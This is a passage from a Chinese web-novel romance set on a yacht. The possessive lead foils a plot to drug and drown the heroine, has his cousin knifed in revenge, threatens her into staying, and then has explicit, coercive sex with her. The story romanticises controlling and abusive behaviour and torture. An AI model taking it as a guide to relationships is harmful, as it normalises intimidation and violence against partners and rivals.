晚霞已在天边铺开毛绒绒一层,金灿暖光扑面而来,夹杂海风凉涩,莫名添几分惬意畅然。 原先在甲板上闹腾的朋友已经离开,淡淡鱼腥味被风吹散。 邢屹背对着她,双手撑着围栏,回头看她一眼,目光里押着一丝松懒的笑。 “过来,有海豚。” 她眸光一亮,兴致勃勃上前。 低头看去,果然有三只海豚贴在船只一侧,紧追着前行轨迹快速游潜,突然哗一声跃出水面。 她看入了迷,抓着围栏站在邢屹身前,被他严严实实圈在怀里。 海豚迎着浪花自由潜泳,邢屹忽然低头靠过来,鼻尖蹭过她耳朵,呼吸很热,圈在她腰上的手臂缓缓收紧,她心头摇颤,身心被他体温占据,此时此刻,早已无心观察海洋生物。 他在耳边轻吻,气息闷在她迎风拂动的发丝周围。 “喜欢吗?” 不知他在问海豚,还是别的。 她下意识扶住他手臂,指腹压着起伏的青筋纹路,意识恍恍惚惚,小声说:“喜欢” 他一只手顺着她手臂向上抚摸,手指挑起她肩上的长裙吊带。 有点痒,她缩了一下,他宽热手掌扣住她盈润肩头,热气飘渺不定地拂落耳畔,逼她给出一个确切回答:“有多喜欢?” 她呼吸乱了节奏,脸颊被他撩热,坚持说:“就是喜欢” 邢屹微阖着眼,平静目光将她描摹。 再次追问:“真的喜欢还是假的喜欢?” 她隐隐错愕,邢屹挑起她下巴让她回头,目光纠缠,他低头吻她,浑哑气音贴着唇:“还想离开我吗?” 孟纾语最怕听到这种问题。 此刻也不敢看他的眼睛,生怕他眸底盘踞的野兽会牢牢攫住她,磨着她脆弱的身心来回撕咬。 她学会了哄他:“我现在不是在你身边吗。” 他淡嗤一声:“就你那点儿心思,我都不用猜。” “” 又被看透了。 她不会时时刻刻想着离开,只是,假如他真的做了毫无底线的事,她总要想办法给自己留一条后路。 但邢屹的最终目的,是断了她的后路。 在她唇上磨了会儿,他轻吻她脸颊说:“时间还长,早点适应。无论我是好是坏,你全盘接受就好了。” 又在强人所难。 孟纾语心跳怦怦。假如表达出真实想法,跟他对着干,她肯定会失败,无论如何都逃不了。 他要她顺从,要她牺牲自由,最好是爱他爱到盲目,每天与他纵情声色,直到天昏地暗。 她沉默着,翕动的唇被他突然一吻,舌头湿热搅缠一会儿又退开,她呼吸未定,邢屹却平淡如常,指腹磨过她嘴唇:“应声啊,孟纾语,又不会说话了?” 她生涩吞咽一下,茫然看着他。 既然要她说话那说什么都行吧。 她呼吸靠近他衣领,嗅出一丝不对劲,反客为主说:“你身上好像有女生用的香水味。” 邢屹皱起眉。果然一股花香调,半小时前不小心染上的,被那个什么叫Mia还是Kia的。 “鼻子这么灵啊。”他下巴搭在她发顶,蹭了蹭,像在哄她,“一会儿洗个澡就没了。” “嗯”危险话题成功转移,她心不在焉望向海面。 邢屹笑了下:“我身上有女人香水味,你不高兴了?” “哪有。谁知道你怎么染上的,我一点都不在意。”她嘟嘟哝哝,突然想起一茬,“对了,我刚刚上来的时候,有个男人好奇怪,一直在看我。” 她低眸打量自己的墨绿色缎面裙,自我怀疑说,“难道我穿这一身很奇怪吗?” 邢屹眯起眼。 “男人?” “对,一个穿着黑衣服,剃着小平头的男人,不知道他为什么那样看我。” 邢屹安静片刻,不动声色在她腰侧捏了一记:“走了,带你回去玩牌。” “不玩了,我输得好惨。” 她心虚低下头。 他托着她下巴抬起来。 “要什么紧,玩就玩个尽兴。” 孟纾语抿抿唇,深知自己牌技烂,手气又臭,不适合上牌桌。 “还是不了。常嘉在最后一局结束时跟我说,你已经安排好了,我输掉的账全都记在你头上” 她不想成为一只无法无天的销金兽。 邢屹撇过头笑了下,重新看着她。 “才输那么点钱就于心有愧,你瞧不起谁?”他伸手在她头顶揉一把,“走,去玩。” 不多时,邢屹把她安全送回棋牌室,叮嘱常嘉照顾她,又陪在身边帮她看了看牌,夸她几句让她重拾信心,等她沉下心玩牌了,他才离开。 邢屹边走边给林泽打电话,让他查看船舱走廊的监控。 很怪异,船上除了厨师服务生和后勤船员之外,一共百来号人,都是筛过的,按理来说不会出现对她不怀好意的人。 一定是有人混进来了。 林泽办事效率高,海面暗下来时,他顺利把那号人物揪出来,扔到船舱贵宾室里。 也没拿绳子绑他,就拿了张凳子给他坐。 但他丝毫不敢动,双手搭在膝盖上,始终低着脑袋。 邢屹坐在与之相隔几米的沙发上,搭着二郎腿翻阅一份股份协议,自己做自己的事,仿佛是中途想起来了,才不走心地问他一句:“叫什么名字?” 男人的心态差点被他平静的拖延磨到崩溃,磕磕巴巴出声:“李、李峰” 邢屹不为所动。 “认识邢皓南吗?” “不、不认识。” “是吗。”邢屹微微偏额打量对方,钢笔在指间转了几道,轻点纸面,“如果你说谎,我该拿你怎么办?” 李峰一脸慌张诚恳:“没有说谎,我真的不认识他。” “这样啊。那你认识孟纾语吗?” “也、也不认识,我只是觉得她漂亮,多看了一眼。” 邢屹冷涔涔笑了下:“你都不认识她,怎么知道你看的人就是她?” 李峰顿时哑然。 下一秒,双扇门被推开一扇,一个深肤色的黑衫壮汉进入贵宾室,把搜查到的东西放在桌上。 “邢先生,这些都在他包里找到的。” 邢屹目光一扫。 零碎的白色药丸,包裹在微小的透明袋里。 疑似催/情药,以及其他各类让人失去知觉意识的违禁药物。 李峰显然慌了神,抖着膝盖起身,突然被另一名壮汉一把摁回椅子上。 邢屹捻起小药袋看了看,语气嘲弄:“有点门道。打算给谁用?” 李峰眼神躲闪,冷汗从额角 滑落。 邢屹把东西扔回桌上,波澜不惊看向对方:“听说你有一个女儿,在上小学。这是给她用的?” 李峰顿时破防,盯着满额汗水全都招了:“对不起对不起!我认识邢皓南,我认识他!是他安排我来的,他让我把孟纾语弄晕,然后、然后神不知鬼不觉,把她丢进海里。” 邢屹眉心微动。 外人看不出他在想什么,只听见他声线平直地问:“邢皓南给你多少钱。” “一、一百万。” “一百万,让你害一条命。你女儿值不值这个价?” 李峰膝盖一软,噗通跪在地上:“对不起!我什么都没干,求您不要针对我女儿,她还小,还生着病” 邢屹目光淡漠:“什么病?” 李峰急得抹泪:“癌症,要、要换骨髓” 邢屹默了默,目光若无其事落回协议文书上。 “缺多少钱,你跟我助理说。不过有个要求。” 李峰神情惊惶,点头如捣蒜:“好,您说!” 邢屹头也不抬地翻阅一页,一如既往平静:“现在打个电话,跟邢皓南说,你事情办成了。” 李峰慌忙照做。 电话接通,邢皓南在那头兴奋至极,提醒男人别露马脚,等风波平息了就立马给他打钱。 李峰支支吾吾不知该接什么话,邢屹朝对面掠一眼,李峰身后的人立刻拿过手机,递给邢屹。 邢屹合上文书,好整以暇邀请:“表哥,这里吃喝玩乐一应俱全,过来吗?” 霎那间,听筒那头一阵死寂,有不小心碰碎酒杯的声音 将近凌晨,邢皓南灰头土脸出现在船上,身上的浴袍都来不及换。 像个待售的冷链牲畜,一路空运又海运,被押送到这儿。 他身形僵硬地坐在餐桌前,一名服务生走来,给他上了一套干净碗碟,附一套西式餐具。 碗碟空荡荡,就这么意味深长地,码放在他面前。 他红着眼质问:“我是你哥,你他妈什么意思?” 邢屹懒洋洋靠坐在对面,隔着宽敞冷清到能当手术台的餐桌,他牵起一个人畜无害的笑。 “大家都说表哥心术不正,我现在也是这么觉得。所以很好奇,表哥的心是黑的还是红的。” 邢皓南早就听说邢屹心理不正常。这下东窗事发,火烧眉毛,他再也坐不住了,不顾一切起身逃窜,餐椅被他撞落在地,砰一声巨响。 没跑几步,身后壮汉突然锁住他喉咙,他嚎叫挣扎,双腿不断踢蹬。 直到有个尖锐的物件,抵住他肩胛骨靠左的位置。 被人点了死穴似的,他噤若寒蝉,不敢再乱动一下。 邢屹向着他的位置微微侧身而坐,手臂搭在桌沿,撑起额头了无生趣地说:“如果想取出腹部以上的内脏,从后背开刀,痛苦时间会长一些。” 唰一下,厨师手起刀落划开鱼身。 满满一腔浓黑鱼子酱映入眼帘,孟纾语在玻璃橱窗外睁大眼睛。 “这也太多了吧” “这还算少的咧。”常嘉耐心跟她科普,尽管她真的没见过太多世面,大小姐也一点都不讥讽她。 两人站在厨房外聊了会儿,常嘉挽着她的手迈开步子,“走,再带你到酒吧转转,我亲手给你调一杯。” 孟纾语尴尬地说:“我喝酒容易醉。” “没事,就喝一点点。” 来到游轮酒室,常嘉给她调了杯度数低的粉红佳人。 周围都是各自玩乐的宾客,气氛热络而和谐。 两人坐在吧台聊天,常嘉这才发现她手上戴了枚戒指。 “不是吧!你答应邢屹的求婚了?” 孟纾语摇头,生怕被误会:“没有没有,他没跟我求婚。他说这是生日礼物,让我戴着,不许我摘下来。” “啧,诡计多端的男人,居然让你戴无名指。”常嘉摇头感慨,“他之前还说不想结婚呢。” 这倒是第一次听说。 “真的吗?” “真的啊。就前几年吧,我家里人一直希望我嫁给他,然后就强行拉上我,一起去他家吃饭,在饭桌上打探了几句。你知道吗,他一开始还装得斯斯文文的,但只要一提到结婚,他就原形毕露,超没礼貌,说自己这辈子都不会结婚,让我们家死了这条心,我爸当时脸都绿了,整个一绿巨人。” “”原来不结婚,只是双标的说辞。 常嘉问她:“你有跟他结婚的打算吗?” 她若有所思地摇了摇头,讷讷:“他有一次说,他不稀罕跟我结婚。” “噗。”常嘉笑出声,“我还说我不稀罕成为模特圈顶流呢。” 孟纾语浅笑,抿起吸管喝完最后一口酒。 常嘉精力旺盛,又牵起她:“走,带你去别的地方转转,船上有意思的地方还有很多呢。” 于是她跟着常嘉四处打卡,两人在船舱上下欢乐游转。 终于,来到第三层的长廊,隐约听见怪异声响。 “是有人在叫吗?”孟纾语皱起眉。 循声望去,不远处一道紧闭的棕红色双扇门。 如果判断没错,声音就是从那边溢出来的。 常嘉助人为乐:“该不会有人被锁在里面了吧,去看看。” “好。”她跟着常嘉一起往前。 很奇怪,步伐越靠近,她就越是有种不详的预感。 这里是 她小心翼翼止步,抬头看一眼门上的金色铭牌。 这是贵宾室。 除了邢屹,还有谁在里面。 常嘉也不管这是哪里,伸手大大咧咧拧动门把。 往里一推。 门开,声音几乎是撞过来。 “邢屹你他妈疯了!你不得好死!” 男人撕心裂肺地骂,旋即惨叫一声,惊心动魄。 孟纾语僵在门口,只见不远处的地毯上一片狼藉,男人后背渗了好大一滩血,仿佛被刀划开了一个口子。 她脑子轰的一声。 这不是邢屹的表哥吗。 邢皓南求生欲顽强,汗水眼泪糊了一脸,哪怕看不清路也不忘挣扎,趴在地上哀嚎匍匐,刚爬几下又被黑衣壮汉拖了回去。 像猫逗老鼠,反反复复地折磨。 她身形晃了一瞬,木然抬眸,邢屹正好看过来。 在混乱中对视,他眼底闪过一丝平静的疑惑,似是想不到她会闯到这里来。 他坐在沙发上,无奈地压了压眉。 替他办事的人心领神会。很快,六神无主的常嘉被人带离,只剩孟纾语一脸呆滞地定在原地。 室内令人惶恐的一幕暂时中断。 邢皓南倒在地上喘气,仿佛下一秒就要痛到昏迷。 邢屹起身,不疾不徐走过来,挡住她全部视野。 她踉跄一步,他圈着她的腰把她扶稳,若无其事摸摸她脸颊:“在找我?” 眩晕,耳鸣,伴随着惊恐席卷而来。她浑身的血都凉了,还要强撑镇定:“你在处理事情吗,那我我” “没什么,不忙。”他一手往后伸,慢条斯理关上房门,隔绝室内的血腥味,把她带到走廊上,捧起她的脸,浅笑说,“你想玩什么,我陪你?” “不、不用了。” 她呼吸急促,立刻埋头,不敢看他的眼睛。 睫毛一垂,眼泪就不由自主地渗出来,顺着重力落在她鞋尖。 极度不安,她咬唇掩饰着惊涛骇浪的情绪,一点声音也不敢发出。 邢屹不知道她 哭了,揽着她僵硬的肩膀,慢慢把她抱进怀里。 她很害怕,下意识想远离他,他却把她牢牢圈在怀中。 她拼尽全力推开他,邢屹却更用力地把她摁回怀里,手掌牢牢压在她后脑勺。 “别乱跑,要是丢了怎么办。一会儿让人带你回去,听话,回卧室等我。” 孟纾语浑身发抖,脑海里一团浆糊,时不时闪过那些血。腥画面。知道他手段狠,却没想到这么狠,几乎到了毫无人性的地步。 如果她晚来一步,他是不是已经杀。人了。如果今后,她做了让他不顺心的事,他是否也会这样对她。 不敢再想,眼泪抑制不住,滚烫又密集,沾湿他胸前的衣料。 他终于觉察出来,捧起她泪湿的脸。 她再也忍不住,开始小声抽泣,邢屹眉心一拧,微凉指腹碰触她眼角,压了压,擦拭泪水。 他喉结涌动,少见地唇线紧抿,鼻腔沉叹一声,拇指停在她眼尾,轻轻摩挲,“你真是哭成这样,让我拿你怎么办才好。” 孟纾语不明白,怎么他成了无奈的一方,最无奈惊惶的人不应该是她吗,他在患得患失些什么? 她喉咙好疼,艰难吞咽几次才终于可以出声:“不知道发生了什么,但你不要乱来,我求你了” 一阵沉默。 他眼底依旧浮着一层冷戾,注视着她,沉声说:“真没想到,学会跟我提条件了。” 她心跳混乱,简直被他阴恻恻的语气打下地狱,恐惧层层叠加,把她淹得喘不过气。想逃。 意想不到,一记轻吻落在她发顶。 “好,不乱来。都听你的。” 第49章 回吻深黑蕾丝,纯白兔尾。…… 他语气很淡,听上去并不走心。 仿佛只是一句哄哄她的话术,走个过场就完了。 或许等她情绪稳定下来,他亲自把她安顿好,转个背,就继续瞒着她无法无天。 可能性极大。 孟纾语愈发警惕,对他已经没有半点光风霁月的遐想和期待,他不惨无人道就已经谢天谢地。 他抱得太紧,被泪水沾湿的衬衫衣料贴着她脸颊,不舒服,她下意识拉开一点距离,邢屹就低下头看她,虎口不轻不重卡着她下巴,让她抬头。 她撞进一双清冷幽邃的眼,像隔着一层浓重海雾,她什么也看不清,什么也猜不透。 心口像有列车碾过,情绪在卧。轨,过分恐惧,以至于想哭也哭不出了。 双腿软得站不稳,她踉跄一瞬,邢屹托着她腰臀把她抱起来,冷涔涔开口,“夹紧,别乱动。” 不听。 旋即被他掌了一记臀,她哆嗦一阵缠紧他的腰,手臂搂在他脖子上,暗暗掐他后颈。想疼死他。 可惜他一点也不疼,神情丝毫未变。 等她反应过来,邢屹已经抱着她信步走动。 那扇棕红色木门浮在她视野中心,离她越来越远。 今晚到底发生了什么,她想问却不敢问。 邢屹先问她:“吃不吃宵夜?” 难以置信。 “你现在还有心情问我这个吗” 邢屹若无其事,轻笑一下。 “能说话就好。别又被吓出病来。” 何止吓出病,差点被吓傻。 要不是周围都是海,她真想破开一个窗口远走高飞。 人应该长出翅膀才对。 一路沉默,怕他发难,她只能乖乖搂着他,其实身在曹营心在汉,意识早就飞了,飞到一个脱离他掌控约束的世外桃源。 邢屹把不愿说话的人带上甲板。 舱顶高悬的明灯打下几束暖光,将两人依偎的影子不断拉长。 不远处驶过一艘五光十色的游轮,同样慢速航行着,两船遥遥相望。 邢屹顺势躺到宽长的甲板椅上,迫使她侧身蜷在他怀里,他一条腿曲着,另一条抻直,她像三明治中间的卷心菜,整个人被他不松不紧嵌在腿间。 两人体温交叠,他扯来一条毛毯裹住她身体,挡住寒冷夜风。 手掌在她背上轻拍一下。 “抬头,看星星。” 她埋头在他胸膛,垂落的长发挡住她大半张脸。 先前哭得眼睛疼,现在哪有闲情看星星。 “不想看。” 他又闲闲说:“看那艘船,在放烟花。” 焰火声响远远传来,她顺着水平方向侧过脸,兴致缺缺睁开眼睛,被凌乱发丝挡住的视野里,漫入一片目不暇接的光彩斑斓。 邢屹捻起她一缕发尾,扫扫她鼻尖。 “喜欢吗。” 孟纾语撑坐起来,直视他,心底再怕也要问:“不要转移话题。你不打算解释一下吗?” 解释而已,邢屹毫不避讳,三两句阐述完前因后果。 总结说:“以牙还牙。就这么简单。” 说完,把垂落她肩膀的毛毯拉上来。 也就是说,她今晚差一点就死了。还是沉进海里喂鲨鱼的糟糕死法。 冷风钻进她毛孔,瞬间毛骨悚然。 邢屹挺身坐直,孟纾语神情呆滞,顶着一头被风微微吹乱的长发,顺着他的动作坐起来。 腰身被他圈揽,滑落肩头的裙带被他手指勾回,宽热的手掌覆在她肩头,缓缓摩挲。 “你也不想被人丢进海里吧。” 当然不想。 “可是” “没有可是。”邢屹自有一套冰冷原则,“假如非要二选一,宁愿成为加害者,也别成为受害者。” 宁愿当万人唾骂的反派,也不当尸骨无存的正派。 他最真实的坏全都摊开给她看,不在乎被看透还是被憎恨。 他一贯是全然无畏的态度,可这完全冲垮了她的心理防线。 颤抖的手指用力掐进掌心,她强行镇定:“我不是那样想的。你越来越可怕了,难道不想成为受害者,就只能成为加害者吗” 他嫌她过于单纯:“你以为谁都可以被感化?有些人就是下水道的老鼠,快刀斩乱麻才能永绝后患。” 邢屹气定闲神撩开她耳边发丝,她回过味来,避如猛兽般拍开他的手:“你疯了!在公海犯罪也可以量刑的!” 他当然知道。 “什么罪啊,我犯了吗?”他拖着懒散腔调,浑不在意地说,“上个前菜逗他玩玩而已。谁让他一次次挑衅我,倒人胃口,没必要对他宽容。” “不能宽容就一定要赶尽杀绝吗,你的人生就没有一个平衡点吗?” “没有。”他又躺回去,一把将她摁回怀里,她匆忙攥紧他肩膀,听见他兴味十足地问,“你算不算一个?” “”她抬眸瞪他,“你是把我当成平衡点,还是想把我改造成你期望的样子?” “不是你在改造我吗。”他眼底泛起笑,“你哭成那样,让我停,我不就停了?” 孟纾语一时哑然。 什么啊。他的嘴是颜色过滤器吗,正经话只要从他嘴里过一遍,说出口都会变得浑不正经。 她倒吸一口凉气。 “你最好是真的停手了。你要是杀。人,我就” “怎样?” “我就报警抓你。”她严肃正经,双眼瞪得溜圆。 顿了两秒,邢屹兀地失笑。 “来了也是抓邢皓南,不是抓我。他有别的把柄在我手上。时间还长,我没必要今晚就弄死他,脏手。” 孟纾语沉下心琢磨,吸一记鼻子,从他身上挪下去。 “我要找林泽。” 邢屹攥住她手腕把人拉回去,打趣审问:“你暗恋林泽?” “?”她气急,“你又乱讲!我是要去问他,让他把今晚发生的事情跟我解释一遍,看看跟你说的有没有出入。” 学会对口供了。 邢屹懒声戏谑:“他拿我的钱替我办事,你就不怕他也骗你?” “不会,人家有底线的。” “意思是我没底线?” “你有吗?” 邢屹眼神嘲弄,敷衍地点两下头,“是,我没有,别人有。去找,找他就别找我。” “果然是个气球,一戳就炸。” 她咕咕哝哝从甲板椅上挪下来,转头,正好看见踏上船梯的林泽。 只见林泽一脸疲惫。 可累死他了,把那家伙送到船舱医务室处理伤口,听了半小时鬼哭狼嚎。 “我要邢屹死!我要他现在就死!” 林泽面露难色。 “我不是阿拉丁神灯,您不要对着我许愿。” 邢皓南哭爹喊娘,就三厘米长的刀伤硬生生被 他嚎到血崩,四个医生按住他给他止血上药,他龇牙咧嘴骂脏,“操!老子要回家!” 林泽认真说:“回家暂时回不了。好好休息吧,今晚有人守着您。再见了。” 邢皓南在身后大喊:“让他给我记着!别以为我手里没他的把柄,跟老子翻脸是吧,行啊,有本事弄死我啊!弄不死我,就给我等着!” 综上,林泽一五一十跟她复述。 两人在甲板上促膝长谈。 “其实邢屹没有那么坏,只是处理私人恩怨的手段有点,呃,不太常规。”林泽端端正正坐在对面的椅子上,小声说,“如果他真的毫无人性,那第一个报警的人应该是我。” 孟纾语裹紧小毛毯,目光谨慎,望一眼远处悠闲自在的男人。 邢屹背对着他们,双手撑着围栏观察海面,似乎不屑于听他们谈话。 海风阵阵吹拂,把他衣料下的宽肩窄腰勾勒得一览无余。 孟纾语收回视线,若有所思。 “所以他真的决定,帮那个男人治好他女儿的病?” “嗯,他说到就一定会做到,这个您不用怀疑。”林泽看一眼手表,“不早了,您先休息吧,有什么问题我们明天再聊。” 他起身。下班了下班了! 孟纾语对他说声谢谢,挥挥手,“林助再见。” “好的,再见。” 脚步声远去,冷清的甲板上又只剩她和邢屹两人。 他头也不回地望着海面,指尖轻点围栏。异常平静,反而蔓延出危险气息。 孟纾语坐在原处揉揉眼睛,恐惧烟消云散,心头忽然泛起一丝茫然。 静了半晌,又尝到一种身心俱疲的困倦。 远处的人不移不动,优越身形沐在月色里,她越看,越感觉他背影凉飕飕的,仿佛后脑勺长了眼,在用另一种形式凝视她,笼罩她,将她的心跳呼吸牢牢控制在掌心,用力一捏,她就浑身战栗。 她立刻挪开眼,默默叠好毛毯,叠出一个小豆腐块,安放在椅子上。 起身,朝船梯方向走了几步又停下来,两手在身前互相捏了捏,回身说:“你要是还想吹风的话,我就先下去了。” 邢屹充耳未闻。 她至今还没意识到问题严重性。 她今晚质疑他,批判他,还呛他。 这一秒却想全身而退。 没这么简单。 就当孟纾语得不到回应,打算默默离开时,他沉嗓撂话说:“卧室床上有一套衣服,换好了等我,哪儿也别去。要是我回去之后看不见你,你就别想上岸了。” 心头猛然一晃,后背仿佛有蛇在爬,有狼在嗅。如果她说一声“不”,它们就会缠上来撕咬。 算算日子,自从闹出乌龙之后,已经很久没昼夜颠倒过了 凌晨两点,船舱窗外聚起一片浓寂海雾。 世界静悄悄,只听见一层薄软衣料摩挲的声音,和从身后传过来的,邢屹开门走进来的声音。 在此之前,孟纾语花了半小时做好心理建设,中途灌了一杯冰水,压制住暴露弱点的耳根红晕,再花三分钟,磨磨蹭蹭换好了衣服。 可这哪里是衣服,分明就是情。趣内衣。 几乎半透明的黑色蕾丝,上面遮一块,下面遮一块,缀着极细的软绸吊带,挂一颗软茸茸的白色小毛球。 兔子尾巴。 邢屹回来之前已经在隔壁洗完澡,身上一股清冽淡香席卷而来,他头发还没擦干,靠近时低着头,发梢湿漉漉贴着她耳廓,从身后抱住她,手臂越收越紧。 她心跳混乱,不敢直视他漆黑眼眸,他直接掰过她下巴让她向后扭转,唇贴过来,接一阵深入浅出的吻。 招架不住,他舌头探进来缠搅,不粗暴但也不算温柔,她毫无章法地回应着,时不时呜咽两声,黏稠甜软。 邢屹微阖着眼观察她悸动的红晕,手掌压着她的腰用力按,浑哑气音闷在吻里:“够了吗。” 她软声蹙眉,两手攥紧他手臂,指尖掐在青筋纹路间深深嵌入。 邢屹力气有点大,抱得她喘不过气,突然被撞到桌边,她双手撑着桌面,低头看见自己红彤彤的肌肤,几乎熟透。 她喉咙紧了紧,回头有气无力地问:“你这次用了吗?还是又直接打针了?” 邢屹一只手臂横在她肩膀前,手掌扣在她肩头,呼吸粗重地咬她耳垂:“我用没用,你感觉不出来?” “我我不知道。差别好像”好像不是很大。不,是很大。 听她句不成调地吐露心声,他鼻腔闷出笑来。 “这我有什么办法,出厂配置。” 浑得要死,她缺氧一般仰头换气,后脑勺紧靠在他锁骨周围,乌黑发丝缠绕他衬衫衣领,黑白分明,领口几颗纽扣已经被她无意识扒开,他胸膛肆意敞着,衣冠楚楚却又混乱不堪。 邢屹对她这身衣服起了玩心,似乎很喜欢她用这种方式哄他。于是手指又勾又捻,抽。动她肩上的蕾丝吊带,反复用力地抽。动着。 在挑弄,在发泄,也在训斥:“孟纾语,为什么你的爱可以分给那么多人,甚至连路边的小猫小狗也能被你喜欢,你的心到底有多大,进你心底的门槛到底有多宽松,明明这么紧,除了我,你塞得那么多吗?小心别撑坏了。” 她咬唇呜咽,一句话都答不上来,热汗从额角滑落,又痒又烫,他指腹抹去,薄茧擦过她柔白肌肤,贴着一层湿润深重碾过,碾得她哭出声来。 她求饶:“没有,我没有爱很多人” 邢屹揪住她兔子尾巴,用力一扯,在她颤抖时严声审问:“那你只爱我吗,愿意接受我所有的好和坏吗。” 非要逼出一个答案。她沉默又抽泣,邢屹意料之中冷嗤一声:“看来你不能接受那些坏。那我装成一个好人,你就会爱得死心塌地了?” 孟纾语意识涣散,感觉天花板又转又晃,随时可能塌下来。她艰难开口:“为什么要装,你就不能当个好人吗!” “好人性格软啊。”邢屹拖腔拖调地嘲弄,“我们家小语,到底喜欢软的还是硬的?” 第50章 回吻软的不吃吃硬的 “到底喜欢哪一种?” 他拘束她,逼问她。 她硬是不说。 他就又让她吃一记硬的。一只手绕过来掐住她,虎口卡住她下巴。从他手背虬结的血管,再到硬朗筋骨,最后一层才是她凝白的肌肤,薄薄一层贴着他汗湿的掌纹。 他的力道不算蛮横,却让她异常羞赧。 因为前方竖了一面落地镜。 她双眸涣散的表情一览无余,一缕发丝沾在她殷红嘴角,轻轻搔着她的沉默,牵出一丝痒,勾着身后的人。 邢屹盯着镜子里的人,目光忽然沉郁下来。 半点耐心都没了:“说话!” 剧烈一撞,桌上花瓶都震掉了。下落的瓶口乍然流水,簌簌落落溅到两人身上,弄湿他不整的深色西裤,流经她绷紧的足踝。 孟纾语撑着桌角守住平衡,嘴唇翕动着急促换气。那个字太羞耻,根本说不出口,索性避开。 “喜欢第二种” 说完,突然被他惩罚般推到了镜子前,她惊慌失措,双手砰一声撑住镜面,邢屹依旧贴在她身后,竟完全退不开一点,宽热的手压在她手背上十指交叠,缠在她耳边轻轻懒懒地问:“第二种是什么,你不说清楚我怎么知道?” “你明明就知道!” 没见过他这么坏的人,她越羞恼他就越强硬。必须把他吃得死死的才行。可是硬生生跟他对着干,实在很累。 她双手贴着镜面往上借力,却又顺着汗湿的印记滑下来。邢屹一定注意到她的笨拙苦恼,于是不知从哪拿了本巨厚的词典,扔在地上让她踩着,高度勉强合适,邢屹一低头,热气就正正好落在她耳上:“我不在的时候,是想我,还是想跟我做?” 他就不能消停会儿吗!她声音都哑得无力了:“你想听什么回答,直接告 诉我,让我说给你听不就好了。” 他轻笑:“我有这么不讲理吗。” “你有!你现在就是严刑逼供。” “那你爽成这样是屈打成招?” “你不要说话了,我不想理你。” “不想理我?”他捏着她下巴让她直视镜面,看她自己媚眼如丝,“看清楚了吗,她好像不是不想理我,而是在勾。引我。” 脸色愈发涨红。 “我们家小语,好像哪里都很小,”他捏住她心口,“只有这里大得恰到好处,装了好多人,我只能排在最后一个。” 她咬咬牙:“这可是你自己说的,我没说。” “是你说的。”他秋后算账,“我帮你出气,你却来呛我,骂我是罪犯,扬言要报警抓我,把我关进监狱。这不都是你的想法吗。” 可是—— “正常人都是这个想法啊” “你说的对。”其实他根本不屑,“可惜我心理不正常,理解不了。” 邢屹异常平静地抚摸她脸颊,指腹轻轻摩挲,力道连过分都算不上,孟纾语却心跳加速。 “你终于知道你有病了吗” “我知道啊。小乖,我在看心理医生了。”他迎上镜子里她怔愣的目光,轻嘲说,“这样叫你,好像在叫一只小狗。” 她皱眉:“我不是小狗!” “嗯,当然不是小狗,小狗没你漂亮,没你可爱。小乖,你是不是给我下了什么催/情药,每次看见你,我性/瘾就犯了。” 关她什么事! “那是因为你有病,你不正常。” 邢屹从善如流:“我也想变成一个正常人。但做不到。每次你对别人笑,我就想掐死他。你越是可怜一个人我就越想把他弄死,他算什么,凭什么被你可怜,你又凭什么可怜他?” “邢屹你混蛋!你彻底不做人了是吗?” “好严肃的问题。”他又反客为主,“小乖,你想听我怎么回答?” 孟纾语气呼呼,掐紧他圈在她腰上的手臂:“我想让你闭嘴。” “那不是很简单?” 没等她思考,他直接吻过来。撞得她唇都麻了。 就这样被他以吻封缄,抵死纠缠- 室内一团昏昧。 不知过了多久,孟纾语在他臂弯中醒来。 船舱窗外聚起清晨浓雾。 光线稀疏漫入,游离在一团甜膻气里。 薄薄两件蕾丝堆叠在地毯上,吊带被扯坏。 孟纾语悄摸摸掀开被子,从他怀里挪走,离开床沿。 醒了醒神,她抱着膝盖蹲下来,在床边猫着,盯着地上两团不成形的蕾丝。 皱眉。 真是变态。 快速拎起来,丢进垃圾桶。 回头看,邢屹自顾自翻了个身,好像没醒。 她看一眼男人宽阔紧实的背肌,安静几秒,上前偷偷拉起被子。 再松手一甩,闷住他脑袋。 之后拿上手机离开卧室,溜到套房里的会客厅。 她光着脚在椅子上猫着,下巴搭在并拢的膝盖上,捣鼓手机连上船舱WiFi,毛婧婧正好给她打来电话。 “孟孟!我在拉巴特,今天的日落巨好看,我给你发了好多张照片,你收到没?” “收到啦,我刚连上网呢。你最近开心吗?” “开心啊!开心得不得了,你呢?” “我还好。” “怎么无精打采的,你不是跟邢屹出海玩了吗?” “嗯,是出来玩了。”孟纾语心下一叹,开口简单讲述这两天在海上发生的事情,毛婧婧听得一愣一愣的,“我了个去!他那么疯?!” 她丧丧地说:“当时我都吓哭了。可是邢屹一点反应都没有,永远那么高高在上,那么平静。我还以为是我接受程度太低了呢。” “孟孟,这个我真得说你两句。你从小就太乖了,干嘛呀这是,做错事的又不是你,你干嘛总反思自己呀?听我的,你要尽情发疯,快乐自己,内耗他人!” “但是,邢屹是不可能内耗的。他就像美剧里最强势最气人的反派,能连活十季,死了都能强行复活吓人一跳的那种,根本对抗不了。” 毛婧婧担心说:“所以你现在一点也不快乐吗?” 并非。 邢屹正常的时候,带给她的感受总是愉悦的,温柔的。 那些无法清零的瞬间,是他晨起时微乱的短发,黑茸茸的,蹭到她胸口,鬓角有点扎人,发顶却柔软。是他温热呼吸埋进她颈窝,轻吻时令她悸动的轻颤。是他淡如烟雾的视线,一丝一缕缠绕她,对她说晚安。 这些记忆,在他出国那两年,总是稳稳当当盘踞在她心头。 “看来记忆比现实美好。”毛婧婧问,“所以他出国那两年,你是不是比较快乐?” “那两年吗” 她想起两年里无拘无束的每一天。 课堂,社团,各式各样的聚会,有趣的新朋友,阳光灿烂的旅行,不会被抢走的自由 “嗯,他不在我身边的时候,我是很快乐的。” 音落,头顶罩下一道黑影。 吓得挂断,抬眸猝不及防撞进他幽深目光,孟纾语深呼吸,软声讷讷:“你醒啦。” 邢屹面无表情站在她面前,突然伸手过来,她缩着肩膀躲闪,他瞥她一眼。 其实只是拿走她身后桌面上的水杯。 一口气灌完,她望着他上下滚动的喉结,一颗心慢慢定下来。 刚才那些话,最好没被他听见。 他好像真没听见,只顾兴师问罪:“拿被子埋我,当我不知道?” “你自己翻身的时候没注意吧,自己埋自己。” 她咕咕哝哝别过脸。 邢屹把她从椅子上拎起来,弯腰给她套了双毛绒拖,随后占山为王,坐在她坐过的地方,把她捞过来抱住。 两人面对面,她岔开腿坐他身上,他顺势低头,下巴倦懒地搭在她肩上。 “打算什么时候返航?” 她琢磨几秒。 